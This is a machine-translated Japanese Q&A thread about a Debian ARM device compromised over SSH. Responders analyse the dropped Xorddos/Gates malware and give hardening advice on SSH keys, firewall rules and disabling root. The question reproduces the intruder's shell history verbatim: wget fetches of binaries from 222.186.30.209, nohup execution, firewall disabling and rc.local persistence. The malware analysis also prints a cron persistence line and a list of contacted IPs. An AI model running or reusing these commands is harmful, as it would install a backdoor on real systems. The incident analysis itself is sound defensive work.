コンシューマー製品を開発しているのですが、インターネットに接続されているはずなので、予想通りインターネットに接続されているので、きちんと開発できるようになっています
1~2時間ほど留守にして、事務所に戻ってくると、ターミナルに変なコマンドが書かれているのに気がついた
auth.log
というLinuxのログファイルを見てみると、以下のような行を見ることができます(他にもたくさんの行がありますが)
Feb 1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162 user=root
Feb 1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb 1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]
IPアドレス40.127.205.162
はマイクロソフトが所有していることが判明した
留守中に使っていたコマンドの束を紹介します
355 service iptables stop
356 cd /tmp
357 wget http://222.186.30.209:65534/yjz1
358 chmod 0755 /tmp/yjz1
359 nohup /tmp/yjz1 > /dev/null 2>&1 &
360 chmod 777 yjz1
361 ./yjz1
362 chmod 0755 /tmp/yjz1
363 nohup /tmp/yjz1 > /dev/null 2>&1 &
364 chmod 0777 yjz1
365 chmod u+x yjz1
366 ./yjz1 &
367 chmod u+x yjz1
368 ./yjz1 &
369 wget http://222.186.30.209:65534/yjz
370 chmod 0755 /tmp/yjz
371 nohup /tmp/yjz > /dev/null 2>&1 &
372 chmod 777 yjz
373 ./yjz
374 chmod 0755 /tmp/yjz
375 nohup /tmp/yjz > /dev/null 2>&1 &
376 chmod u+x yjz
377 ./yjz &
378 chmod u+x yjz
379 ./yjz &
380 cd /tmp
381 echo "cd /tmp/">>/etc/rc.local
382 service iptables stop
383 cd /tmp
384 wget http://222.186.30.209:65534/yjz1
385 chmod 0755 /tmp/yjz1
386 nohup /tmp/yjz1 > /dev/null 2>&1 &
387 chmod 777 yjz1
388 ./yjz1
389 chmod 0755 /tmp/yjz1
390 nohup /tmp/yjz1 > /dev/null 2>&1 &
391 chmod u+x yjz1
392 ./yjz1 &
393 chmod 0777 yjz1
394 ./yjz1 &
395 echo "cd /tmp/">>/etc/rc.local
396 service iptables stop
397 wget http://222.186.30.209:65534/yjz1
398 chmod 0755 /root/yjz1
399 nohup /root/yjz1 > /dev/null 2>&1 &
400 chmod 777 yjz1
401 ./yjz1
402 chmod 0755 /root/yjz1
403 nohup /root/yjz1 > /dev/null 2>&1 &
404 chmod u+x yjz1
405 ./yjz1 &
406 chmod 0777 yjz1
407 ./yjz1 &
408 echo "cd /root/">>/etc/rc.local
409 cd /tmp
410 service iptables stop
411 wget http://222.186.30.209:65534/yjz1
412 chmod 0755 /tmp/yjz1
413 nohup /tmp/yjz1 > /dev/null 2>&1 &
414 chmod 777 yjz1
415 ./yjz1 &
416 cd /etc
417 echo "cd /root/">>/etc/rc.local
418 echo "./yjz1&">>/etc/rc.local
419 echo "./yjz1&">>/etc/rc.local
420 echo "/etc/init.d/iptables stop">>/etc/rc.local
421 cd /tmp
422 service iptables stop
423 wget http://222.186.30.209:65534/yjz1
424 chmod 0755 /tmp/yjz1
425 nohup /tmp/yjz1 > /dev/null 2>&1 &
426 chmod 777 yjz1
427 ./yjz1 &
428 cd /etc
429 echo "cd /root/">>/etc/rc.local
430 echo "./yjz1&">>/etc/rc.local
431 echo "./yjz1&">>/etc/rc.local
432 echo "/etc/init.d/iptables stop">>/etc/rc.local
433 cd /tmp
434 service iptables stop
435 wget http://222.186.30.209:65534/yjz1
436 chmod 0755 /tmp/yjz1
437 nohup /tmp/yjz1 > /dev/null 2>&1 &
438 chmod 777 yjz1
439 ./yjz1 &
440 cd /etc
441 echo "cd /root/">>/etc/rc.local
442 echo "./yjz1&">>/etc/rc.local
443 echo "./yjz1&">>/etc/rc.local
444 echo "/etc/init.d/iptables stop">>/etc/rc.local
445 service iptables stop
446 wget http://222.186.30.209:65534/yjz1
447 chmod 0755 /root/yjz1
448 nohup /root/yjz1 > /dev/null 2>&1 &
449 chmod 777 yjz1
450 ./yjz1
451 chmod 0755 /root/yjz1
452 nohup /root/yjz1 > /dev/null 2>&1 &
453 chmod 0777 yjz1
454 chmod u+x yjz1
455 ./yjz1 &
456 chmod u+x yjz1
457 ./yjz1 &
And more:
481 service iptables stop
482 wget http://222.186.30.209:65534/yjz1
483 chmod 0755 /root/yjz1
484 nohup /root/yjz1 > /dev/null 2>&1 &
485 chmod 777 yjz1
486 ./yjz1
487 chmod 0755 /root/yjz1
488 nohup /root/yjz1 > /dev/null 2>&1 &
489 chmod 0777 yjz1
490 chmod u+x yjz1
491 ./yjz1 &
492 chmod u+x yjz1
493 ./yjz1 &
494 cd /tmp
495 service iptables stop
496 wget http://175.102.133.55:2/yjz
497 ./yd_cd/make
498 service iptables stop
499 service iptables stop
500 wget http://222.186.30.209:65534/yjz1
全く意識していませんでした。どうすればきちんと確保できるのでしょうか?
完全なauth.log
ファイルを投稿したいと思います。どうすればいいのでしょうか?
また、ダウンロードされたファイルyjz1
はLinuxのトロイの木馬のようで、http://anti-hacker-alliance.com/index.php?ip=40.127.205.162によると、これらはすべてある種のハッカーグループによって行われているようです
マイクロソフトに電話して相談した方がいいのでしょうか?どうすればいいのでしょうか?
499 vaid 2016-02-01
EDIT 2:
この投稿が非常に注目を集めている理由は 1 つの良い理由があります: 全体を記録することができたあなたの PC 上の侵入者のライブ セッション。これは、私たちが彼の行動の結果の発見に対処し、それらを修復しようとする私たちの日常の経験とは非常に異なっています。ここでは、仕事中の彼を見て、バックドアの確立に問題を抱えているのを見て、彼のステップを辿り、熱中して仕事をします(おそらく、上で示唆されているように、あなたの机に座っていたからでしょうか、あるいは、おそらく、そして私の意見では、より可能性が高いのは、彼がシステム上でマルウェアを実行させることができなかったからでしょう、以下を読んでください)、そして、完全に自己完結型の制御手段を展開しようとします。これは、セキュリティ研究者がハニートラップで毎日目撃していることです。私にとっては、これは非常にまれなチャンスであり、いくつかの娯楽の源である
あなたは間違いなくハッキングされています。この証拠は、あなたが表示した auth.log
ファイルのスニペットからは得られません。二行目には Failed password
と書かれていますが、三行目には pre-auth
の切断が報告されていることに気づくでしょう
証拠は、攻撃者があなたのシステムにダウンロードした2つのファイルhttp://222.186.30.209:65534/yjz
とhttp://222.186.30.209:65534/yjz1
の内容から得られます
サイトは現在誰でもダウンロードできるようになっています。私は最初にfile
を実行してみましたが、これは表示されました
$ file y*
yjz: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
yjz1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped
strings
コマンドを使って内容を調べてみると、疑わしいものがたくさんありました (さまざまなよく知られた攻撃への言及、代用されるコマンドへの言及、新しいサービスをセットアップするために明らかに使われているスクリプトなど)
次に、両方のファイルの MD5 ハッシュを生成し、それらがマルウェアの既知のエージェントであるかどうかを確認するために、Cymru のハッシュデータベースに送りました。yjz
は知られていませんが、yjz1
は知られており、Cymruはアンチウイルスソフトウェアで検出される確率を58%と報告しています。また、このファイルが最後に見られたのが3日ほど前であることから、かなり最近のものであることも報告されています
clamscan (clamav
パッケージの一部) を、取得した 2 つのファイルで実行してみました
$ clamscan y*
yjz: Linux.Backdoor.Gates FOUND
yjz1: Linux.Trojan.Xorddos FOUND
を使用しているので、標準的な Linux ソフトウェアがそれを識別できることを確信しています
どうすればいいの?
どちらかというと新しいシステムですが、例えば、XorDdosに関する2015年1月の記事を参照してください。だから、ほとんどのフリーのパッケージはそれを取り除くことができるはずです。試してみてください。clamav
, rkhunter
, chkrootkit
.私はグーグルで調べてみましたが、彼らはそれを発見することができると主張しているのを見ました。前任者の仕事をチェックするためにそれらを使ってくださいが、これらの3つのプログラムを実行した後は、準備ができているはずです
より大きな質問に関しては、what should you do to prevent future infections
、ジャーニーマンの答えは良い第一歩です。ただ、それは現在進行中の闘争であり、私たち(私を含む!)の誰もが知らないうちに失っているかもしれないものであることを心に留めておいてください
EDIT:
Viktor Toth の (間接的な) プロンプトで、私はいくつかのコメントを追加したいと思います。侵入者がいくつかの困難に遭遇したのは確かに事実です。2つの異なるハッキングツールをダウンロードし、それらの許可を何度も変更し、何度も再起動し、ファイアウォールを無効にしようと何度も試みました。彼はハッキングツールが感染したPCの1台に向けて通信チャネルを開くことを期待しており(後述)、コントロールGUI上にこの新しいチャネルが表示されない場合、ハッキングツールがファイアウォールによってブロックされているのではないかと心配し、インストール手順を繰り返します。私はViktor Toth氏の操作のこの特定の段階では期待された成果が得られていないように見えることに同意しますが、あなたのPCに与えられたダメージの程度を過小評価しないように強く勧めたいと思います
ここでは、strings yjz1
の部分的な出力を提供します
etc/init.d/%s
/etc/rc%d.d/S90%s
--del
chkconfig
remove
update-rc.d
/etc/cron.hourly/gcc4.sh
/etc/rc.d/rc%d.d/S90%s
--add
defaults
/proc/%d/exe
/proc/self/exe
HOME=/
MYSQL_HISTFILE=/dev/null
#!/bin/sh
# chkconfig: 12345 90 90
# description: %s
### BEGIN INIT INFO
# Provides: %s
# Required-Start:
# Required-Stop:
# Default-Start: 1 2 3 4 5
# Default-Stop:
# Short-Description: %s
### END INIT INFO
case $1 in
start)
stop)
esac
sed -i '/\/etc\/cron.hourly\/gcc4.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc4.sh' >> /etc/crontab
etc/init.d/%s
GET %s HTTP/1.1
%sHost: %s
POST %s HTTP/1.1
%sHost: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
%s%s
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
Connection: Keep-Alive
これは、サービスを改ざんした証拠を提供します(/etc/init.d
と/etc/rc.d
で)、crontab
、mysql
の履歴ファイル、proc
にあるいくつかのファイルはbash
へのリンクです(これはあなたのシェルのカスタムメイドの詐欺バージョンが仕込まれていることを示唆しています)。そして、プログラムは HTTP リクエストを生成します (中国語圏のサイトへ
Accept-Language: zh-cn
これは上述の David Schwartz のコメントに実質を与えるものです) が、さらに大混乱を引き起こす可能性があります。リクエストでは、バイナリ(Content-Type: application/x-www-form-urlencoded
)は攻撃されたPCにダウンロードされ(GET)、制御しているマシンにアップロードされます(POST)。攻撃された PC に何がダウンロードされるのかは確認できませんでしたが、yjz
と yjz1
のサイズが小さいことから (1.1MB と 600kB)、ルートキットの隠蔽に必要なファイルのほとんど、つまり ls
, netstat
, ps
, ifconfig
, … の変更されたバージョンがこの方法でダウンロードされるのではないかと推測することができます。そして、このダウンロードを実行させようとする攻撃者の熱のこもった試みもこれで説明がつきます
上記がすべての可能性を網羅しているという確信はありません: トランスクリプトの一部(457行目から481行目の間)が欠けているのは確かですし、ログアウトも見当たりません
cd /tmp; ./yd_cd/make
もしそうなら、それは攻撃者が (最終的に?) 自分の実行可能ファイルの問題点を理解し、それを修正しようとしていることを意味します。実際、攻撃者がハックされたマシンにダウンロードした (そして私は 64bit の Debian VM にダウンロードした) マルウェアの 2 つのバージョンは x86 という不適当なアーキテクチャ向けで、ハックされて侵入した PC の名前だけで、彼がアームアーキテクチャを扱っていたことがわかります]
なぜこの編集を書いたかというと、プロの楽器を使ってシステムを梳くか、あるいはスクラッチから再インストールするか、できる限り強く勧めたいからです
ところで、これが誰かの役に立つことを証明するために、これはyjz
が接続しようとする331個のIPアドレスのリストです。このリストは非常に大きく(おそらく、さらに大きくなる運命にあります)、これがmysql
を改ざんした理由だと思います。他のバックドアによって提供されたリストは同一で、これが、このような重要な情報を公開した理由だと思います(攻撃者はカーネル形式で保存する努力をしたくなかったので、リスト全体をクリアテキストファイルに入れたのだと思いますが、これはおそらく、どのOSのバックドアでも、彼のすべてのバックドアによって読み込まれます)
61.132.163.68
202.102.192.68
202.102.213.68
202.102.200.101
58.242.2.2
202.38.64.1
211.91.88.129
211.138.180.2
218.104.78.2
202.102.199.68
202.175.3.3
202.175.3.8
202.112.144.30
61.233.9.9
61.233.9.61
124.207.160.110
202.97.7.6
202.97.7.17
202.106.0.20
202.106.46.151
202.106.195.68
202.106.196.115
202.106.196.212
202.106.196.228
202.106.196.230
202.106.196.232
202.106.196.237
202.112.112.10
211.136.17.107
211.136.28.231
211.136.28.234
211.136.28.237
211.147.6.3
219.141.136.10
219.141.140.10
219.141.148.37
219.141.148.39
219.239.26.42
221.130.32.100
221.130.32.103
221.130.32.106
221.130.32.109
221.130.33.52
221.130.33.60
221.176.3.70
221.176.3.73
221.176.3.76
221.176.3.79
221.176.3.83
221.176.3.85
221.176.4.6
221.176.4.9
221.176.4.12
221.176.4.15
221.176.4.18
221.176.4.21
58.22.96.66
218.104.128.106
202.101.98.55
211.138.145.194
211.138.151.161
211.138.156.66
218.85.152.99
218.85.157.99
222.47.29.93
202.101.107.85
119.233.255.228
222.47.62.142
122.72.33.240
211.98.121.27
218.203.160.194
221.7.34.10
61.235.70.98
113.111.211.22
202.96.128.68
202.96.128.86
202.96.128.166
210.21.3.140
210.21.4.130
211.95.193.97
211.98.2.4
211.98.4.1
211.162.61.225
211.162.61.235
211.162.61.255
211.162.62.1
211.162.62.60
221.4.66.66
202.103.176.22
202.96.144.47
210.38.192.33
202.96.134.33
202.96.134.133
202.96.154.15
210.21.196.6
221.5.88.88
202.103.243.112
202.193.64.33
61.235.164.13
61.235.164.18
202.103.225.68
221.7.136.68
202.103.224.68
211.97.64.129
211.138.240.100
211.138.242.18
211.138.245.180
221.7.128.68
222.52.118.162
202.98.192.67
202.98.198.167
211.92.136.81
211.139.1.3
211.139.2.18
202.100.192.68
211.97.96.65
211.138.164.6
221.11.132.2
202.100.199.8
202.99.160.68
202.99.166.4
202.99.168.8
222.222.222.222
202.102.224.68
202.102.227.68
222.85.85.85
222.88.88.88
210.42.241.1
202.196.64.1
112.100.100.100
202.97.224.68
219.235.127.1
61.236.93.33
211.93.24.129
211.137.241.34
219.147.198.230
202.103.0.68
202.103.0.117
202.103.24.68
202.103.44.150
202.114.0.242
202.114.240.6
211.161.158.11
211.161.159.3
218.104.111.114
218.104.111.122
218.106.127.114
218.106.127.122
221.232.129.30
59.51.78.210
61.234.254.5
202.103.96.112
219.72.225.253
222.243.129.81
222.246.129.80
211.142.210.98
211.142.210.100
220.168.208.3
220.168.208.6
220.170.64.68
218.76.192.100
61.187.98.3
61.187.98.6
202.98.0.68
211.93.64.129
211.141.16.99
202.98.5.68
219.149.194.55
211.138.200.69
202.102.3.141
202.102.3.144
58.240.57.33
112.4.0.55
114.114.114.114
114.114.115.115
202.102.24.34
218.2.135.1
221.6.4.66
221.131.143.69
202.102.8.141
222.45.0.110
61.177.7.1
218.104.32.106
211.103.13.101
221.228.255.1
61.147.37.1
222.45.1.40
58.241.208.46
202.102.9.141
202.102.7.90
202.101.224.68
202.101.226.68
211.141.90.68
211.137.32.178
202.96.69.38
211.140.197.58
219.149.6.99
202.96.86.18
101.47.189.10
101.47.189.18
118.29.249.50
118.29.249.54
202.96.64.68
202.96.75.68
202.118.1.29
202.118.1.53
219.148.204.66
202.99.224.8
202.99.224.67
211.90.72.65
211.138.91.1
218.203.101.3
202.100.96.68
211.93.0.81
222.75.152.129
211.138.75.123
202.102.154.3
202.102.152.3
219.146.1.66
219.147.1.66
202.102.128.68
202.102.134.68
211.138.106.19
211.90.80.65
202.99.192.66
202.99.192.68
61.134.1.4
202.117.96.5
202.117.96.10
218.30.19.40
218.30.19.50
116.228.111.118
180.168.255.18
202.96.209.5
202.96.209.133
202.101.6.2
211.95.1.97
211.95.72.1
211.136.112.50
211.136.150.66
119.6.6.6
124.161.97.234
124.161.97.238
124.161.97.242
61.139.2.69
202.98.96.68
202.115.32.36
202.115.32.39
218.6.200.139
218.89.0.124
61.139.54.66
61.139.39.73
139.175.10.20
139.175.55.244
139.175.150.20
139.175.252.16
168.95.1.1
210.200.211.193
210.200.211.225
211.78.130.1
61.31.1.1
61.31.233.1
168.95.192.1
168.95.192.174
61.60.224.3
61.60.224.5
202.113.16.10
202.113.16.11
202.99.96.68
202.99.104.68
211.137.160.5
211.137.160.185
219.150.32.132
202.98.224.68
211.139.73.34
61.10.0.130
61.10.1.130
202.14.67.4
202.14.67.14
202.45.84.58
202.45.84.67
202.60.252.8
202.85.128.32
203.80.96.9
203.142.100.18
203.142.100.21
203.186.94.20
203.186.94.241
221.7.1.20
61.128.114.133
61.128.114.166
218.202.152.130
61.166.150.123
202.203.128.33
211.98.72.7
211.139.29.68
211.139.29.150
211.139.29.170
221.3.131.11
222.172.200.68
61.166.150.101
61.166.150.139
202.203.144.33
202.203.160.33
202.203.192.33
202.203.208.33
202.203.224.33
211.92.144.161
222.221.5.240
61.166.25.129
202.96.103.36
221.12.1.227
221.130.252.200
222.46.120.5
202.96.96.68
218.108.248.219
218.108.248.245
61.130.254.34
60.191.244.5
202.96.104.15
202.96.104.26
221.12.33.227
202.96.107.27
61.128.128.68
61.128.192.68
218.201.17.2
221.5.203.86
221.5.203.90
221.5.203.98
221.7.92.86
221.7.92.98
以下のコード
#!/bin/bash
echo 0 > out
while read i; do
whois $i | grep -m 1 -i country >> out
done < filename
cat out | grep -i cn | wc -l
上のリストを見てみると、合計331個のアドレスのうち302個が中国本土にあり、残りのアドレスは香港、モンゴル、台湾にあることがわかります。これは、これはほとんどが中国のボット・リングであるというDavid Schwartz氏の主張をさらに裏付けるものです
EDIT 3
(OP の作者である @vaid のリクエストに応じて、以下のコメントを読んでください)、基本的な Linux システムのセキュリティを強化する方法についてのコメントを追加します (多くのサービスを提供するシステムでは、これははるかに複雑なトピックです)。vaid
は、彼が以下のことをしたと述べています
再インストールしてください
ルートパスワードを、小文字と大文字、文字と数字が混在する16文字の長さのパスワードに変更しました
ユーザ名を6文字混合の長さのユーザ名に変更し、rootで使用しているパスワードと同じパスワードを適用しました
SSHポートを5000以上に変更しました
SSHルートログインをオフにしました
これは問題ありません(多くの便利なプログラムが10,000以下のポートを使用しているので、10,000以上のポートを使用していることを除いて)。しかし、パスワードの代わりに暗号鍵を ssh ログインに使用する必要性を十分に強調することはできません。個人的な例を挙げてみましょう。私のVPSの一つでは、sshのポートを変更するかどうか迷っていました。私は一日に何百回も侵入を試みましたが、どれも成功しませんでした。誰も成功しなかったことを毎日確認するのに疲れて、結局ポートを 10,000 以上のものに変更したところ、侵入の試みはゼロになりました。注意してください、それはハッカーが愚かだということではありません(彼らはそうではありません!)、彼らは単に簡単な獲物を追い詰める
署名アルゴリズムとして RSA を使用して暗号鍵を有効化するのは簡単です
cd; mkdir .ssh; chmod 700 .ssh; cd .ssh; ssh-keygen -t rsa (then hit <kbd>ENTER>/kbd> three times); cat id_rsa.pub >> authorized_keys; chmod 600 *
あとは、ファイル id_rsa
を接続元のマシンにコピーして (ディレクトリ .ssh
, chmod
‘ed to 700)、コマンドを実行するだけです
ssh -p YourChosenNonStandardPort -i ~/.ssh/id_rsa me@RemoteMachine
これで動作することが確認できたら、サーバ(=接続先のマシン)上でファイル/etc/ssh/sshd_config
を編集し、行を変更します
#PasswordAuthentication yes
to
PasswordAuthentication no
で、ssh
サービスを再起動します(ディストロによってはservice ssh restart
かsystemctl restart ssh
のようなもの)
これは多くのことに耐えられるでしょう。実際、現在のところ、openssh v2
の現行バージョンや、openssh v2
で採用されているRSAに対する悪用は知られていません
最後に、本当にマシンをボルトダウンするためには、以下のようにファイアウォール(netfilter/iptables)を設定する必要があります
iptables -A INPUT -p tcp --dport YourChosenNonStandardPort -j ACCEPT
iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
iptables -P INPUT DROP
iptables -P OUTPUT ACCEPT
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT
これは、1) LAN と WAN の両方からの ssh 接続を許可し、2) リクエストの元になった入力 (例えば Web ページをロードしたときなど) をすべて許可し、3) 入力上の他のすべてのものを削除し、4) 出力上のすべてのものを許可し、5-6) ループバックインターフェース上のすべてのものを許可する、というものです
ニーズが高まり、より多くのポートを開く必要が出てきたら、リストの一番上に次のようなルールを追加することで、そうすることができます
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
を使用して、例えば他の人があなたのウェブブラウザにアクセスできるようにします
494 MariusMatutiae 2016-02-01
インターネットへようこそ – どのようなオープンな SSH サーバであっても、それはおそらく調査され、無慈悲にも強要され、様々な侮辱を受けることになるでしょう
まず、製品のストレージを完全に消去する必要があります。フォレンジックのためにそれを渡したい場合はそれをイメージしてください、しかし、それ上のLinuxのインストールは現在疑わしいです
推測の域を出ないが
ブルートフォースされたり、一般的なパスワードを使ったり。曖昧さによるセキュリティですが、辞書的なパスワードを使ったり、SSHにオープンなrootアカウントを使ったりするのは避けたいところです。root の SSH アクセスを無効にするか、少なくとも名前を変更して両方を推測させる必要があるようにしましょう。root で SSH するのは、とにかくひどいセキュリティ対策です。どうしても root でなければならない場合は、別のユーザでログインして su か sudo で切り替えてください
製品によっては、何らかの方法で SSH アクセスをロックダウンしたいと思うかもしれません。完全なロックダウンは良いアイデアのように聞こえますし、ユーザが必要に応じてオープンにすることができます。余裕があるかどうかにもよりますが、自分のサブネット内の IP アドレスだけを許可するとか、 ログイン制限システムのようなものを検討してみてください。最終的な製品に必要ない場合は、それがオフになっていることを確認してください
標準ではないポートを使用してください。またもや不明瞭さによるセキュリティですが、攻撃者はあなたのポートを標的にする必要があることを意味します
デフォルトのパスワードは絶対に使用しないでください。私が見た中で最も良い方法は、特定のデバイス用のパスワードをランダムに生成し、製品と一緒に出荷することです。最良の方法はキーベースの認証ですが、マスマーケット製品ではどのようにアプローチするのか見当もつきません
142 Journeyman Geek 2016-02-01
間違いなくハッキングされてる誰かが root 権限を得て あなたのシステムに トロイの木馬をダウンロードしようとしたようですMariusMatutiaeはペイロードの分析を提供しました
2つの疑問が生じます: a) 攻撃者は成功したのでしょうか?そして b) それに対して何ができるか?
最初の質問の答えは「いいえ」かもしれません。攻撃者がペイロードを繰り返しダウンロードして実行しようとしていることに注目してください。私は何か (SELinux、ひょっとして?) が彼の邪魔をしているのではないかと疑っています
しかしながら: 攻撃者はあなたの/etc/rc.d/rc.local
ファイルも改変しており、システムを再起動したときにペイロードが有効になることを期待しています。まだシステムを再起動していない場合は、/etc/rc.d/rc.local
ファイルの改変を削除するまで再起動しないでください。すでに再起動している場合は・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・頑張れ
あなたがそれについて何ができるかについては一番安全なのは、システムを消去してゼロから再インストールすることです。しかし、これは常にオプションではないかもしれません。安全性が著しく低いのは、何が起こったのかを正確に分析し、可能であれば、その痕跡をすべて消去することです。繰り返しになりますが、まだシステムを再起動していない場合、/etc/rc.d/rc.local
をクリーンアップし、攻撃者によってダウンロードされたものを削除し、最後にパスワードを変更するだけでよいのかもしれません
しかし、攻撃者がすでにペイロードを実行できていた場合は、検出が困難な他の変更がシステムに加えられている可能性があります。そのため、完全なワイプが唯一の安全な(そして推奨される)オプションである理由です。ご指摘のように、問題の機器はテスト/開発ターゲットである可能性がありますので、ワイプすることは他のケースではそれほど苦痛ではないかもしれません
更新: 回復の可能性について書いたことにもかかわらず、このペイロードによって引き起こされる潜在的なダメージと、それがターゲットシステムを危険にさらした可能性のある範囲を過小評価しないように、MariusMatutiae の非常に強い勧告に反論したいと思います
35 Viktor Toth 2016-02-01
私のsshd-honeypotでもこのような攻撃が見られました。そのURLからの最初のダウンロードは2016-01-29 10:25:33から始まっており、現在も攻撃は続いています。攻撃は/から来ています
103.30.4.212
111.68.6.170
118.193.228.169
これらの攻撃者からの入力は
service iptables stop wget http://222.186.30.209:65534/yjz1 nohup /root/yjz1 > /dev/null 2>&1 & chmod 0777 yjz1 chmod u+x yjz1 ./yjz1 & chmod u+x yjz1 ./yjz1 & cd /tmp
だから、後々のためにバックドアを設置する以外の活動はしない
19 Gunther Nitzsche 2016-02-02
ここでは誰もがしっかりとしたアドバイスをしてくれていますが、はっきりさせるためには、あなたの優先順位は、バックアップを取って、そのシステムから本当に必要なものを確認し、安全なメディアから新しいインストールでそれを消去することです
新しくインストールしたホストをインターネットに接続する前に、これらのアイデアを実行してください
新しい非 root ユーザーを作成し、そのユーザーでログインします。root でログインする必要はなく、必要に応じて sudo (substitute user do) を実行するだけです
SE Linuxをインストール、強制的なアクセス制御を有効にする設定https://wiki.debian.org/SELinux/Setup
オフィスや自宅とインターネットの間にハードウェアファイアウォールを設置することを検討してみてください。私はコミュニティサポートが充実しているMicroTikを使用しています。http://routerboard.com/
あなたが有給の仕事を完了するためのタイムライン上にあると仮定して、少なくとも#1を行います。#3は早くて安いですが、郵送されてくる荷物を待つか、車でお店に行くかのどちらかになります
13 pyn 2016-02-01
あなたのホスト名は debian-armhf ですか?それともデフォルト設定のデフォルトインストールを使っていますか?それは問題ありませんが、ホストが直接インターネットにさらされるのを許すべきではありません (つまり、少なくともモデムで保護されていない)
本当のトラブルは222.186.30.209(http://anti-hacker-alliance.com/index.php?ip=222.186.30.209参照)から来ているようです。マイクロソフトのIPを見てもあまり気にしない方がいい。IPは多かれ少なかれ、わりと簡単に偽造/なりすましができます
インターネットに接続する通常の方法は、パブリックIP(例:8.8.8.8)から既知のポートのリストをローカル(例:192.168.1.12)に転送することです
例えば、8.8.8.8(パブリック)から192.168.1.12(ローカル)にすべての着信接続を転送しないようにします
ポート 22 と 25 (それぞれ ssh と受信メール) のみを転送します。もちろん、最新の ssh と smtp パッケージ/ライブラリも持っている必要があります
次に何をしますか?ホストを切断し、シェルスクリプトでハードコーディングされたパスワード(恥を知れ!)を
/etc/shadow
にある(組織に関連するすべてのコンピュータの)すべてのパスワードを変更する
12 Archemar 2016-02-01
他の人が言っているように、あなたのサーバーのセキュリティが侵害されているのは明らかです。最も安全なのは、このマシンを消去して再インストールすることです
ご質問の2番目の部分にお答えすると、公開鍵認証が使えないのであれば、少なくともFail2Banを設定して、標準ではないポートでSSHを実行することをお勧めします。私もrootのSSHアクセスを無効にしています
Fail2Banは、一定回数のログインに失敗したIPアドレスを禁止することで、ブルートフォース攻撃の軽減に役立ちます
sshd を標準ではないポートでリスンするように設定することで、少なくとも SSH サーバの可視性を少しだけ下げることができます。また、ルートログオンを無効にすることで、攻撃プロファイルを少し減らすことができます。/etc/sshd_config
で
PermitRootLogin no
Port xxxxx
root ログインを無効にしている場合、接続したら su
で root に切り替えるか、(できれば) sudo
を使って特権コマンドを実行する必要があります
10 Nate H 2016-02-02
SSHサーバは常にインターネット上で 攻撃を受けていますあなたがやっていることをいくつか
インターネットにアクセスできるマシンのために、非常に安全なランダムパスワードを使用していることを確認してください。私は16文字以上の完全にランダムなような意味です。パスワードマネージャーを使って、暗記する必要がないようにしましょう。パスワードを暗記できるのであれば、それはあまりにも簡単です
SSH を必要としない場合は、SSH をオフにしてください。SSH が必要だが公開されている必要がない場合は、標準ではない高いポート番号で実行してください。これを行うことで、ハッキングの試みを劇的に減らすことができます。はい、専用のハッカーはポートスキャンを行うことができますが、自動化されたボットはそれを見つけることはできません
authログのスニペットは失敗したことを示しています。しかし、さらに調べれば、ログインが成功していることは間違いありません。単純なパスワードを使用していれば、ボットが侵入するのは簡単です
このマシンをネットワークから分離する必要があります。慎重に必要なものを取り出して拭いてくれ
9 user1751825 2016-02-01
前向きのLinux/Unixサーバを設定した後、誰でも/誰もが最初にすべきことは、root
を直ちに無効にすることです
あなたのシステムは危険にさらされています。実行中の履歴ログがあるので、ある程度は見てもいいかもしれません。しかし、正直に言うと、詳細を解剖することは少し気難しいし、あなたのサーバーの安全性を確保するのには役立ちません。ボットネットが産み出したマルウェアがLinuxシステムに感染したときに起こるナンセンスなことを示しています。@MariusMatutiaeによって提供された回答は素晴らしくよく考え抜かれており、マルウェア/ボットネットの濡れた夢であるroot
アクセスを介してハッキングされたと繰り返す他の人がいます
root
を無効にする方法についてはいくつか説明がありますが、個人的な経験から申し上げます。これは、最初にサーバをセットアップしたときに行うべきことです
sudo
の権限を持つ新しいユーザを作成する。Ubuntu や他の種類の Debian システムを使っている場合はsudo adduser cooldude
のようなコマンドを使って、cooldude
のような新しい名前の新しいユーザを作成してください。次に、sudo
ファイルをこのsudo nano /etc/sudoers
のようなコマンドを使って手動で編集し、root ALL=(ALL:ALL) ALL
を読むべき同等の行の下にcooldude ALL=(ALL:ALL) ALL
のような行を追加してください。これが終わったら、cooldude
としてログインし、sudo
コマンドをsudo w
のようなコマンドでテストして、sudo
権限が機能するかどうかを確認してください。パスワードの入力を求められるかもしれません。うまくいきましたか?問題ありません!次のステップに進みましょうroot
のアカウントをロックします。さて、cooldude
がsudo
の権限を持つようになったので、cooldude
としてログインし、このコマンドを実行してルートアカウントsudo passwd -l root
をロックしてください。もし何らかの方法でroot
の SSH 鍵ペアを作成している場合は、/root/.ssh/authorized_keys
を開いて鍵を削除してください。あるいは、authorized_keys_OFF
のファイル名をこのように変更して、sudo mv /root/.ssh/authorized_keys /root/.ssh/authorized_keys_OFF
でSSH鍵を無効にします。私は後者の方がいいと思います。 なぜなら、パスワードを使わないログインが必要な場合には、ファイルを元の名前に戻せば問題ないからです
FWIW、私は長年(数十年?)に渡って何十台ものLinuxサーバを管理してきましたが、root
を無効にしてsudo
の権限を持つ新しいユーザを設定するだけで、どんなLinuxシステムでもセキュリティを確保するための最もシンプルで基本的な方法であることを経験から知っています。一旦 root
を無効にしてしまえば、SSH 経由でのいかなるタイプの危殆化にも対処したことがありません。また、auth.log
を使ってログインしようとする試みを見るかもしれませんが、それは無意味なものです; root
が無効化されていれば、それらの試みは何の足しにもなりません。root
が無効化されている場合、それらの試みは何の足しにもなりません
7 Giacomo1968 2016-02-07